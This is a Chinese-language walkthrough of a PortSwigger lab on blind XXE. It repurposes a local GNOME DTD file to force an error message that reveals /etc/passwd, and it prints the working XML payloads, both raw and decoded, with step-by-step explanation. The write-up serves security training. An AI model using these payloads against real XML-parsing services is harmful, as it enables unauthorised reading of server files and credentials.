专家-盲XXE-本地DTD复用
# 实验室:通过本地DTD复用 实现XXE数据检索
# 题目
此实验室具有一个 “Check stock(库存检查)” 功能,它可以解析 XML 输入,但不会显示结果。
若要解决实验室问题,请触发包含/etc/passwd
文件内容的错误消息。
你需要引用服务器上的现有 DTD 文件,并从中重新定义实体。
提示
使用 GNOME 桌面环境的系统通常有一个自带的 DTD 文件,位于/usr/share/yelp/dtd/docbookx.dtd
,其中包含一个名为ISOamso
的实体。
- name: 实验室-专家
desc: 通过本地DTD复用 实现XXE数据检索 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd
bgColor: '#001350'
textColor: '#d112fe'
1
2
3
4
5
6
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
来到首页,点击任意商品下方的 “View details” 进入详情页。
在商品详情页的下方,可以看到一个库存检查功能。
启用浏览器代理,然后点击 “Check stock” 检查库存。
根据题目中的提示,构造 XML 参数实体,尝试访问文件/usr/share/yelp/dtd/docbookx.dtd
。
<!DOCTYPE abc [ <!ENTITY % file SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> %file; ]>
1
程序并没有返回任何信息。
删除文件名的最后一个字符,然后再次发送数据包,返回了错误信息 “文件不存在” 。
说明文件/usr/share/yelp/dtd/docbookx.dtd
是存在的,如果不存在则会返回错误信息。
确认文件存在之后,构造攻击载荷,重写本地 DTD 文件中的ISOamso
实体,尝试读取/etc/passwd
文件。
<!DOCTYPE xyz [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaabbbccc/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
程序返回了/etc/passwd
文件的内容,读取成功。
回到浏览器页面,实验已完成。
上述 Payload 可能不太好理解,这里对其进行一次解码,以更好地理解:
- 定义一个名为
local_dtd
的 XML 参数实体,它加载本地 DTD 文件的内容。 - 重新定义名为
ISOamso
的 XML 参数实体,该实体先前已经在本地 DTD 文件中定义。但在此处,该实体被重新定义为恶意的攻击载荷,用于触发错误消息,并包含/etc/passwd
文件的内容。 - 使用
local_dtd
实体,解析外部 DTD 并覆盖ISOamso
实体的定义值,这将产生预期的错误消息。
% --解码--> %
& --解码--> &
' --解码--> '
一次解码后的攻击载荷:
<!DOCTYPE xyz [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaabbbccc/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
编辑 (opens new window)